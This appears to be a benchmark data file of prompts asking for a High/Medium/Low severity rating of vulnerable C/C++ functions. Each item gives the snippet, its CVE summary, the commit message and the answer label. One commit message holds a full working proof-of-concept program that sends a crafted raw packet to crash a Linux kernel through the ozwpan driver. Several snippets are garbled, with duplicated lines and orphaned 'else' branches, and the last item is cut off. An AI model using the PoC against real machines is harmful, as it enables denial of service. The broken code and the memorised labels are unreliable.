Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: int Tar::ReadHeaders( void )
{
FILE *in;
TarHeader lHeader;
TarRecord lRecord;
unsigned int iBegData = 0;
char buf_header[512];
in = fopen(mFilePath.fn_str(), "rb");
if(in == NULL)
{
wxLogFatalError(_("Error: File '%s' not found! Cannot read data."), mFilePath.c_str());
return 1;
}
wxString lDmodDizPath;
mmDmodDescription = _T("");
mInstalledDmodDirectory = _T("");
int total_read = 0;
while (true)
{
memset(&lHeader, 0, sizeof(TarHeader));
memset(&lRecord, 0, sizeof(TarRecord));
fread((char*)&lHeader.Name, 100, 1, in);
fread((char*)&lHeader.Mode, 8, 1, in);
fread((char*)&lHeader.Uid, 8, 1, in);
fread((char*)&lHeader.Gid, 8, 1, in);
fread((char*)&lHeader.Size, 12, 1, in);
fread((char*)&lHeader.Mtime, 12, 1, in);
fread((char*)&lHeader.Chksum, 8, 1, in);
fread((char*)&lHeader.Linkflag, 1, 1, in);
fread((char*)&lHeader.Linkname, 100, 1, in);
fread((char*)&lHeader.Magic, 8, 1, in);
fread((char*)&lHeader.Uname, 32, 1, in);
fread((char*)&lHeader.Gname, 32, 1, in);
fread((char*)&lHeader.Devmajor, 8, 1, in);
fread((char*)&lHeader.Devminor, 8, 1, in);
fread((char*)&lHeader.Padding, 167, 1, in);
total_read += 512;
if(!VerifyChecksum(&lHeader))
{
wxLogFatalError(_("Error: This .dmod file has an invalid checksum! Cannot read file."));
return 1;
}
strncpy(lRecord.Name, lHeader.Name, 100);
if (strcmp(lHeader.Name, "\xFF") == 0)
continue;
sscanf((const char*)&lHeader.Size, "%o", &lRecord.iFileSize);
lRecord.iFilePosBegin = total_read;
if(strcmp(lHeader.Name, "") == 0)
{
break;
}
wxString lPath(lRecord.Name, wxConvUTF8);
wxString lPath(lRecord.Name, wxConvUTF8);
if (mInstalledDmodDirectory.Length() == 0)
{
mInstalledDmodDirectory = lPath.SubString( 0, lPath.Find( '/' ) );
lDmodDizPath = mInstalledDmodDirectory + _T("dmod.diz");
lDmodDizPath.LowerCase();
}
}
else
{
int remaining = lRecord.iFileSize;
char buf[BUFSIZ];
while (remaining > 0)
{
if (feof(in))
break; // TODO: error, unexpected end of file
int nb_read = fread(buf, 1, (remaining > BUFSIZ) ? BUFSIZ : remaining, in);
remaining -= nb_read;
}
}
total_read += lRecord.iFileSize;
TarRecords.push_back(lRecord);
int padding_size = (512 - (total_read % 512)) % 512;
fread(buf_header, 1, padding_size, in);
total_read += padding_size;
}
Vulnerability Type: Dir. Trav.
CWE ID: CWE-22
Summary: Directory traversal issues in the D-Mod extractor in DFArc and DFArc2 (as well as in RTsoft's Dink Smallwood HD / ProtonSDK version) before 3.14 allow an attacker to overwrite arbitrary files on the user's system.
Commit Message: | Medium | 165,347 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: QString IRCView::openTags(TextHtmlData* data, int from)
{
QString ret, tag;
int i = from;
for ( ; i < data->openHtmlTags.count(); ++i)
{
tag = data->openHtmlTags.at(i);
if (data->reverse)
{
ret += fontColorOpenTag(Preferences::self()->color(Preferences::TextViewBackground).name());
}
else
{
ret += fontColorOpenTag(data->lastFgColor);
}
}
else if (tag == QLatin1String("span"))
{
if (data->reverse)
{
ret += spanColorOpenTag(data->defaultColor);
}
else
{
ret += spanColorOpenTag(data->lastBgColor);
}
}
else
{
ret += QLatin1Char('<') + tag + QLatin1Char('>');
}
}
Vulnerability Type: DoS
CWE ID:
Summary: Konversation 1.4.x, 1.5.x, 1.6.x, and 1.7.x before 1.7.3 allow remote attackers to cause a denial of service (crash) via vectors related to parsing of IRC color formatting codes.
Commit Message: | Medium | 164,649 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,
struct oz_usb_hdr *usb_hdr, int len)
{
struct oz_data *data_hdr = (struct oz_data *)usb_hdr;
switch (data_hdr->format) {
case OZ_DATA_F_MULTIPLE_FIXED: {
struct oz_multiple_fixed *body =
(struct oz_multiple_fixed *)data_hdr;
u8 *data = body->data;
int n = (len - sizeof(struct oz_multiple_fixed)+1)
/ body->unit_size;
while (n--) {
oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
data, body->unit_size);
data += body->unit_size;
}
}
break;
case OZ_DATA_F_ISOC_FIXED: {
struct oz_isoc_fixed *body =
(struct oz_isoc_fixed *)data_hdr;
int data_len = len-sizeof(struct oz_isoc_fixed)+1;
int unit_size = body->unit_size;
u8 *data = body->data;
int count;
int i;
if (!unit_size)
break;
count = data_len/unit_size;
for (i = 0; i < count; i++) {
oz_hcd_data_ind(usb_ctx->hport,
body->endpoint, data, unit_size);
data += unit_size;
}
}
break;
}
}
Vulnerability Type: DoS
CWE ID: CWE-189
Summary: The oz_usb_handle_ep_data function in drivers/staging/ozwpan/ozusbsvc1.c in the OZWPAN driver in the Linux kernel through 4.0.5 allows remote attackers to cause a denial of service (divide-by-zero error and system crash) via a crafted packet.
Commit Message: ozwpan: divide-by-zero leading to panic
A network supplied parameter was not checked before division, leading to
a divide-by-zero. Since this happens in the softirq path, it leads to a
crash. A PoC follows below, which requires the ozprotocol.h file from
this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
struct oz_elt oz_elt2;
struct oz_multiple_fixed oz_multiple_fixed;
} __packed packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 0,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
},
.oz_elt2 = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_multiple_fixed)
},
.oz_multiple_fixed = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_USB_ENDPOINT_DATA,
.endpoint = 0,
.format = OZ_DATA_F_MULTIPLE_FIXED,
.unit_size = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <[email protected]>
Acked-by: Dan Carpenter <[email protected]>
Cc: stable <[email protected]>
Signed-off-by: Greg Kroah-Hartman <[email protected]> | High | 166,617 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc,
const char **argv) {
struct passwd *pw = NULL, pw_s;
const char *user = NULL;
cfg_t cfg_st;
cfg_t *cfg = &cfg_st;
char buffer[BUFSIZE];
char *buf = NULL;
char *authfile_dir;
size_t authfile_dir_len;
int pgu_ret, gpn_ret;
int retval = PAM_IGNORE;
device_t *devices = NULL;
unsigned n_devices = 0;
int openasuser;
int should_free_origin = 0;
int should_free_appid = 0;
int should_free_auth_file = 0;
int should_free_authpending_file = 0;
parse_cfg(flags, argc, argv, cfg);
if (!cfg->origin) {
strcpy(buffer, DEFAULT_ORIGIN_PREFIX);
if (gethostname(buffer + strlen(DEFAULT_ORIGIN_PREFIX),
BUFSIZE - strlen(DEFAULT_ORIGIN_PREFIX)) == -1) {
DBG("Unable to get host name");
goto done;
}
DBG("Origin not specified, using \"%s\"", buffer);
cfg->origin = strdup(buffer);
if (!cfg->origin) {
DBG("Unable to allocate memory");
goto done;
} else {
should_free_origin = 1;
}
}
if (!cfg->appid) {
DBG("Appid not specified, using the same value of origin (%s)",
cfg->origin);
cfg->appid = strdup(cfg->origin);
if (!cfg->appid) {
DBG("Unable to allocate memory")
goto done;
} else {
should_free_appid = 1;
}
}
if (cfg->max_devs == 0) {
DBG("Maximum devices number not set. Using default (%d)", MAX_DEVS);
cfg->max_devs = MAX_DEVS;
}
devices = malloc(sizeof(device_t) * cfg->max_devs);
if (!devices) {
DBG("Unable to allocate memory");
retval = PAM_IGNORE;
goto done;
}
pgu_ret = pam_get_user(pamh, &user, NULL);
if (pgu_ret != PAM_SUCCESS || user == NULL) {
DBG("Unable to access user %s", user);
retval = PAM_CONV_ERR;
goto done;
}
DBG("Requesting authentication for user %s", user);
gpn_ret = getpwnam_r(user, &pw_s, buffer, sizeof(buffer), &pw);
if (gpn_ret != 0 || pw == NULL || pw->pw_dir == NULL ||
pw->pw_dir[0] != '/') {
DBG("Unable to retrieve credentials for user %s, (%s)", user,
strerror(errno));
retval = PAM_USER_UNKNOWN;
goto done;
}
DBG("Found user %s", user);
DBG("Home directory for %s is %s", user, pw->pw_dir);
if (!cfg->auth_file) {
buf = NULL;
authfile_dir = secure_getenv(DEFAULT_AUTHFILE_DIR_VAR);
if (!authfile_dir) {
DBG("Variable %s is not set. Using default value ($HOME/.config/)",
DEFAULT_AUTHFILE_DIR_VAR);
authfile_dir_len =
strlen(pw->pw_dir) + strlen("/.config") + strlen(DEFAULT_AUTHFILE) + 1;
buf = malloc(sizeof(char) * (authfile_dir_len));
if (!buf) {
DBG("Unable to allocate memory");
retval = PAM_IGNORE;
goto done;
}
snprintf(buf, authfile_dir_len,
"%s/.config%s", pw->pw_dir, DEFAULT_AUTHFILE);
} else {
DBG("Variable %s set to %s", DEFAULT_AUTHFILE_DIR_VAR, authfile_dir);
authfile_dir_len = strlen(authfile_dir) + strlen(DEFAULT_AUTHFILE) + 1;
buf = malloc(sizeof(char) * (authfile_dir_len));
if (!buf) {
DBG("Unable to allocate memory");
retval = PAM_IGNORE;
goto done;
}
snprintf(buf, authfile_dir_len,
"%s%s", authfile_dir, DEFAULT_AUTHFILE);
}
DBG("Using default authentication file %s", buf);
cfg->auth_file = buf; /* cfg takes ownership */
should_free_auth_file = 1;
buf = NULL;
} else {
DBG("Using authentication file %s", cfg->auth_file);
}
openasuser = geteuid() == 0 && cfg->openasuser;
if (openasuser) {
if (seteuid(pw_s.pw_uid)) {
DBG("Unable to switch user to uid %i", pw_s.pw_uid);
retval = PAM_IGNORE;
goto done;
}
DBG("Switched to uid %i", pw_s.pw_uid);
}
retval = get_devices_from_authfile(cfg->auth_file, user, cfg->max_devs,
cfg->debug, cfg->debug_file,
devices, &n_devices);
if (openasuser) {
if (seteuid(0)) {
DBG("Unable to switch back to uid 0");
retval = PAM_IGNORE;
goto done;
}
DBG("Switched back to uid 0");
}
if (retval != 1) {
n_devices = 0;
}
if (n_devices == 0) {
if (cfg->nouserok) {
DBG("Found no devices but nouserok specified. Skipping authentication");
retval = PAM_SUCCESS;
goto done;
} else if (retval != 1) {
DBG("Unable to get devices from file %s", cfg->auth_file);
retval = PAM_AUTHINFO_UNAVAIL;
goto done;
} else {
DBG("Found no devices. Aborting.");
retval = PAM_AUTHINFO_UNAVAIL;
goto done;
}
}
if (!cfg->authpending_file) {
int actual_size = snprintf(buffer, BUFSIZE, DEFAULT_AUTHPENDING_FILE_PATH, getuid());
if (actual_size >= 0 && actual_size < BUFSIZE) {
cfg->authpending_file = strdup(buffer);
}
if (!cfg->authpending_file) {
DBG("Unable to allocate memory for the authpending_file, touch request notifications will not be emitted");
} else {
should_free_authpending_file = 1;
}
} else {
if (strlen(cfg->authpending_file) == 0) {
DBG("authpending_file is set to an empty value, touch request notifications will be disabled");
cfg->authpending_file = NULL;
}
}
int authpending_file_descriptor = -1;
if (cfg->authpending_file) {
DBG("Using file '%s' for emitting touch request notifications", cfg->authpending_file);
authpending_file_descriptor = open(cfg->authpending_file, O_RDONLY | O_CREAT, 0664);
if (authpending_file_descriptor < 0) {
DBG("Unable to emit 'authentication started' notification by opening the file '%s', (%s)",
cfg->authpending_file, strerror(errno));
}
}
if (cfg->manual == 0) {
if (cfg->interactive) {
converse(pamh, PAM_PROMPT_ECHO_ON,
cfg->prompt != NULL ? cfg->prompt : DEFAULT_PROMPT);
}
retval = do_authentication(cfg, devices, n_devices, pamh);
} else {
retval = do_manual_authentication(cfg, devices, n_devices, pamh);
}
if (authpending_file_descriptor >= 0) {
if (close(authpending_file_descriptor) < 0) {
DBG("Unable to emit 'authentication stopped' notification by closing the file '%s', (%s)",
cfg->authpending_file, strerror(errno));
}
}
if (retval != 1) {
DBG("do_authentication returned %d", retval);
retval = PAM_AUTH_ERR;
goto done;
}
retval = PAM_SUCCESS;
done:
free_devices(devices, n_devices);
if (buf) {
free(buf);
buf = NULL;
}
if (should_free_origin) {
free((char *) cfg->origin);
cfg->origin = NULL;
}
if (should_free_appid) {
free((char *) cfg->appid);
cfg->appid = NULL;
}
if (should_free_auth_file) {
free((char *) cfg->auth_file);
cfg->auth_file = NULL;
}
if (should_free_authpending_file) {
free((char *) cfg->authpending_file);
cfg->authpending_file = NULL;
}
if (cfg->alwaysok && retval != PAM_SUCCESS) {
DBG("alwaysok needed (otherwise return with %d)", retval);
retval = PAM_SUCCESS;
}
DBG("done. [%s]", pam_strerror(pamh, retval));
return retval;
}
Vulnerability Type: +Info
CWE ID: CWE-200
Summary: In Yubico pam-u2f 1.0.7, when configured with debug and a custom debug log file is set using debug_file, that file descriptor is not closed when a new process is spawned. This leads to the file descriptor being inherited into the child process; the child process can then read from and write to it. This can leak sensitive information and also, if written to, be used to fill the disk or plant misinformation.
Commit Message: Do not leak file descriptor when doing exec
When opening a custom debug file, the descriptor would stay
open when calling exec and leak to the child process.
Make sure all files are opened with close-on-exec.
This fixes CVE-2019-12210.
Thanks to Matthias Gerstner of the SUSE Security Team for reporting
the issue. | Medium | 169,661 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: pixHtmlViewer(const char *dirin,
const char *dirout,
const char *rootname,
l_int32 thumbwidth,
l_int32 viewwidth)
{
char *fname, *fullname, *outname;
char *mainname, *linkname, *linknameshort;
char *viewfile, *thumbfile;
char *shtml, *slink;
char charbuf[512];
char htmlstring[] = "<html>";
char framestring[] = "</frameset></html>";
l_int32 i, nfiles, index, w, d, nimages, ret;
l_float32 factor;
PIX *pix, *pixthumb, *pixview;
SARRAY *safiles, *sathumbs, *saviews, *sahtml, *salink;
PROCNAME("pixHtmlViewer");
if (!dirin)
return ERROR_INT("dirin not defined", procName, 1);
if (!dirout)
return ERROR_INT("dirout not defined", procName, 1);
if (!rootname)
return ERROR_INT("rootname not defined", procName, 1);
if (thumbwidth == 0)
thumbwidth = DEFAULT_THUMB_WIDTH;
if (thumbwidth < MIN_THUMB_WIDTH) {
L_WARNING("thumbwidth too small; using min value\n", procName);
thumbwidth = MIN_THUMB_WIDTH;
}
if (viewwidth == 0)
viewwidth = DEFAULT_VIEW_WIDTH;
if (viewwidth < MIN_VIEW_WIDTH) {
L_WARNING("viewwidth too small; using min value\n", procName);
viewwidth = MIN_VIEW_WIDTH;
}
/* Make the output directory if it doesn't already exist */
#ifndef _WIN32
snprintf(charbuf, sizeof(charbuf), "mkdir -p %s", dirout);
ret = system(charbuf);
#else
ret = CreateDirectory(dirout, NULL) ? 0 : 1;
#endif /* !_WIN32 */
if (ret) {
L_ERROR("output directory %s not made\n", procName, dirout);
return 1;
}
/* Capture the filenames in the input directory */
if ((safiles = getFilenamesInDirectory(dirin)) == NULL)
return ERROR_INT("safiles not made", procName, 1);
/* Generate output text file names */
sprintf(charbuf, "%s/%s.html", dirout, rootname);
mainname = stringNew(charbuf);
sprintf(charbuf, "%s/%s-links.html", dirout, rootname);
linkname = stringNew(charbuf);
linknameshort = stringJoin(rootname, "-links.html");
/* Generate the thumbs and views */
sathumbs = sarrayCreate(0);
saviews = sarrayCreate(0);
nfiles = sarrayGetCount(safiles);
index = 0;
for (i = 0; i < nfiles; i++) {
fname = sarrayGetString(safiles, i, L_NOCOPY);
fullname = genPathname(dirin, fname);
fprintf(stderr, "name: %s\n", fullname);
if ((pix = pixRead(fullname)) == NULL) {
fprintf(stderr, "file %s not a readable image\n", fullname);
lept_free(fullname);
continue;
}
lept_free(fullname);
/* Make and store the thumbnail images */
pixGetDimensions(pix, &w, NULL, &d);
factor = (l_float32)thumbwidth / (l_float32)w;
pixthumb = pixScale(pix, factor, factor);
sprintf(charbuf, "%s_thumb_%03d", rootname, index);
sarrayAddString(sathumbs, charbuf, L_COPY);
outname = genPathname(dirout, charbuf);
WriteFormattedPix(outname, pixthumb);
lept_free(outname);
pixDestroy(&pixthumb);
/* Make and store the view images */
factor = (l_float32)viewwidth / (l_float32)w;
if (factor >= 1.0)
pixview = pixClone(pix); /* no upscaling */
else
pixview = pixScale(pix, factor, factor);
snprintf(charbuf, sizeof(charbuf), "%s_view_%03d", rootname, index);
sarrayAddString(saviews, charbuf, L_COPY);
outname = genPathname(dirout, charbuf);
WriteFormattedPix(outname, pixview);
lept_free(outname);
pixDestroy(&pixview);
pixDestroy(&pix);
index++;
}
/* Generate the main html file */
sahtml = sarrayCreate(0);
sarrayAddString(sahtml, htmlstring, L_COPY);
sprintf(charbuf, "<frameset cols=\"%d, *\">", thumbwidth + 30);
sarrayAddString(sahtml, charbuf, L_COPY);
sprintf(charbuf, "<frame name=\"thumbs\" src=\"%s\">", linknameshort);
sarrayAddString(sahtml, charbuf, L_COPY);
sprintf(charbuf, "<frame name=\"views\" src=\"%s\">",
sarrayGetString(saviews, 0, L_NOCOPY));
sarrayAddString(sahtml, charbuf, L_COPY);
sarrayAddString(sahtml, framestring, L_COPY);
shtml = sarrayToString(sahtml, 1);
l_binaryWrite(mainname, "w", shtml, strlen(shtml));
fprintf(stderr, "******************************************\n"
"Writing html file: %s\n"
"******************************************\n", mainname);
lept_free(shtml);
lept_free(mainname);
/* Generate the link html file */
nimages = sarrayGetCount(saviews);
fprintf(stderr, "num. images = %d\n", nimages);
salink = sarrayCreate(0);
for (i = 0; i < nimages; i++) {
viewfile = sarrayGetString(saviews, i, L_NOCOPY);
thumbfile = sarrayGetString(sathumbs, i, L_NOCOPY);
sprintf(charbuf, "<a href=\"%s\" TARGET=views><img src=\"%s\"></a>",
viewfile, thumbfile);
sarrayAddString(salink, charbuf, L_COPY);
}
slink = sarrayToString(salink, 1);
l_binaryWrite(linkname, "w", slink, strlen(slink));
lept_free(slink);
lept_free(linkname);
lept_free(linknameshort);
sarrayDestroy(&safiles);
sarrayDestroy(&sathumbs);
sarrayDestroy(&saviews);
sarrayDestroy(&sahtml);
sarrayDestroy(&salink);
return 0;
}
Vulnerability Type: Exec Code Overflow
CWE ID: CWE-119
Summary: An issue was discovered in pixHtmlViewer in prog/htmlviewer.c in Leptonica before 1.75.3. Unsanitized input (rootname) can overflow a buffer, leading potentially to arbitrary code execution or possibly unspecified other impact.
Commit Message: prog/htmlviewer: Catch unbound memory access (CID 1386222)
rootname can have any size, so limit the amount of copied bytes.
Signed-off-by: Stefan Weil <[email protected]> | High | 169,321 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static int handle_emulation_failure(struct kvm_vcpu *vcpu)
{
++vcpu->stat.insn_emulation_fail;
trace_kvm_emulate_insn_failed(vcpu);
vcpu->run->exit_reason = KVM_EXIT_INTERNAL_ERROR;
vcpu->run->internal.suberror = KVM_INTERNAL_ERROR_EMULATION;
vcpu->run->internal.ndata = 0;
kvm_queue_exception(vcpu, UD_VECTOR);
return EMULATE_FAIL;
}
Vulnerability Type: DoS
CWE ID: CWE-362
Summary: Race condition in arch/x86/kvm/x86.c in the Linux kernel before 2.6.38 allows L2 guest OS users to cause a denial of service (L1 guest OS crash) via a crafted instruction that triggers an L2 emulation failure report, a similar issue to CVE-2014-7842.
Commit Message: KVM: X86: Don't report L2 emulation failures to user-space
This patch prevents that emulation failures which result
from emulating an instruction for an L2-Guest results in
being reported to userspace.
Without this patch a malicious L2-Guest would be able to
kill the L1 by triggering a race-condition between an vmexit
and the instruction emulator.
With this patch the L2 will most likely only kill itself in
this situation.
Signed-off-by: Joerg Roedel <[email protected]>
Signed-off-by: Marcelo Tosatti <[email protected]> | Medium | 166,558 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static int __mincore_unmapped_range(unsigned long addr, unsigned long end,
struct vm_area_struct *vma, unsigned char *vec)
{
unsigned long nr = (end - addr) >> PAGE_SHIFT;
int i;
if (vma->vm_file) {
pgoff_t pgoff;
pgoff = linear_page_index(vma, addr);
for (i = 0; i < nr; i++, pgoff++)
vec[i] = mincore_page(vma->vm_file->f_mapping, pgoff);
} else {
for (i = 0; i < nr; i++)
vec[i] = 0;
}
return nr;
}
Vulnerability Type: +Info
CWE ID: CWE-200
Summary: The mincore() implementation in mm/mincore.c in the Linux kernel through 4.19.13 allowed local attackers to observe page cache access patterns of other processes on the same system, potentially allowing sniffing of secret information. (Fixing this affects the output of the fincore program.) Limited remote exploitation may be possible, as demonstrated by latency differences in accessing public files from an Apache HTTP Server.
Commit Message: Change mincore() to count "mapped" pages rather than "cached" pages
The semantics of what "in core" means for the mincore() system call are
somewhat unclear, but Linux has always (since 2.3.52, which is when
mincore() was initially done) treated it as "page is available in page
cache" rather than "page is mapped in the mapping".
The problem with that traditional semantic is that it exposes a lot of
system cache state that it really probably shouldn't, and that users
shouldn't really even care about.
So let's try to avoid that information leak by simply changing the
semantics to be that mincore() counts actual mapped pages, not pages
that might be cheaply mapped if they were faulted (note the "might be"
part of the old semantics: being in the cache doesn't actually guarantee
that you can access them without IO anyway, since things like network
filesystems may have to revalidate the cache before use).
In many ways the old semantics were somewhat insane even aside from the
information leak issue. From the very beginning (and that beginning is
a long time ago: 2.3.52 was released in March 2000, I think), the code
had a comment saying
Later we can get more picky about what "in core" means precisely.
and this is that "later". Admittedly it is much later than is really
comfortable.
NOTE! This is a real semantic change, and it is for example known to
change the output of "fincore", since that program literally does a
mmmap without populating it, and then doing "mincore()" on that mapping
that doesn't actually have any pages in it.
I'm hoping that nobody actually has any workflow that cares, and the
info leak is real.
We may have to do something different if it turns out that people have
valid reasons to want the old semantics, and if we can limit the
information leak sanely.
Cc: Kevin Easton <[email protected]>
Cc: Jiri Kosina <[email protected]>
Cc: Masatake YAMATO <[email protected]>
Cc: Andrew Morton <[email protected]>
Cc: Greg KH <[email protected]>
Cc: Peter Zijlstra <[email protected]>
Cc: Michal Hocko <[email protected]>
Signed-off-by: Linus Torvalds <[email protected]> | Low | 169,745 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: void CSSDefaultStyleSheets::initDefaultStyle(Element* root)
{
if (!defaultStyle) {
if (!root || elementCanUseSimpleDefaultStyle(root))
loadSimpleDefaultStyle();
else
loadFullDefaultStyle();
}
}
Vulnerability Type: DoS
CWE ID: CWE-399
Summary: The PDF functionality in Google Chrome before 24.0.1312.52 does not properly perform a cast of an unspecified variable during processing of the root of the structure tree, which allows remote attackers to cause a denial of service or possibly have unknown other impact via a crafted document.
Commit Message: Remove the Simple Default Stylesheet, it's just a foot-gun.
We've been bitten by the Simple Default Stylesheet being out
of sync with the real html.css twice this week.
The Simple Default Stylesheet was invented years ago for Mac:
http://trac.webkit.org/changeset/36135
It nicely handles the case where you just want to create
a single WebView and parse some simple HTML either without
styling said HTML, or only to display a small string, etc.
Note that this optimization/complexity *only* helps for the
very first document, since the default stylesheets are
all static (process-global) variables. Since any real page
on the internet uses a tag not covered by the simple default
stylesheet, not real load benefits from this optimization.
Only uses of WebView which were just rendering small bits
of text might have benefited from this. about:blank would
also have used this sheet.
This was a common application for some uses of WebView back
in those days. These days, even with WebView on Android,
there are likely much larger overheads than parsing the
html.css stylesheet, so making it required seems like the
right tradeoff of code-simplicity for this case.
BUG=319556
Review URL: https://codereview.chromium.org/73723005
git-svn-id: svn://svn.chromium.org/blink/trunk@162153 bbb929c8-8fbe-4397-9dbb-9b2b20218538 | Medium | 171,580 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: header_put_le_8byte (SF_PRIVATE *psf, sf_count_t x)
{ if (psf->headindex < SIGNED_SIZEOF (psf->header) - 8)
{ psf->header [psf->headindex++] = x ;
psf->header [psf->headindex++] = (x >> 8) ;
psf->header [psf->headindex++] = (x >> 16) ;
psf->header [psf->headindex++] = (x >> 24) ;
psf->header [psf->headindex++] = 0 ;
psf->header [psf->headindex++] = 0 ;
psf->header [psf->headindex++] = 0 ;
psf->header [psf->headindex++] = 0 ;
} ;
} /* header_put_le_8byte */
Vulnerability Type: Overflow
CWE ID: CWE-119
Summary: In libsndfile before 1.0.28, an error in the *header_read()* function (common.c) when handling ID3 tags can be exploited to cause a stack-based buffer overflow via a specially crafted FLAC file.
Commit Message: src/ : Move to a variable length header buffer
Previously, the `psf->header` buffer was a fixed length specified by
`SF_HEADER_LEN` which was set to `12292`. This was problematic for
two reasons; this value was un-necessarily large for the majority
of files and too small for some others.
Now the size of the header buffer starts at 256 bytes and grows as
necessary up to a maximum of 100k. | Medium | 170,055 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: nvmet_fc_find_target_queue(struct nvmet_fc_tgtport *tgtport,
u64 connection_id)
{
struct nvmet_fc_tgt_assoc *assoc;
struct nvmet_fc_tgt_queue *queue;
u64 association_id = nvmet_fc_getassociationid(connection_id);
u16 qid = nvmet_fc_getqueueid(connection_id);
unsigned long flags;
spin_lock_irqsave(&tgtport->lock, flags);
list_for_each_entry(assoc, &tgtport->assoc_list, a_list) {
if (association_id == assoc->association_id) {
queue = assoc->queues[qid];
if (queue &&
(!atomic_read(&queue->connected) ||
!nvmet_fc_tgt_q_get(queue)))
queue = NULL;
spin_unlock_irqrestore(&tgtport->lock, flags);
return queue;
}
}
spin_unlock_irqrestore(&tgtport->lock, flags);
return NULL;
}
Vulnerability Type: Overflow
CWE ID: CWE-119
Summary: In the Linux kernel before 4.14, an out of boundary access happened in drivers/nvme/target/fc.c.
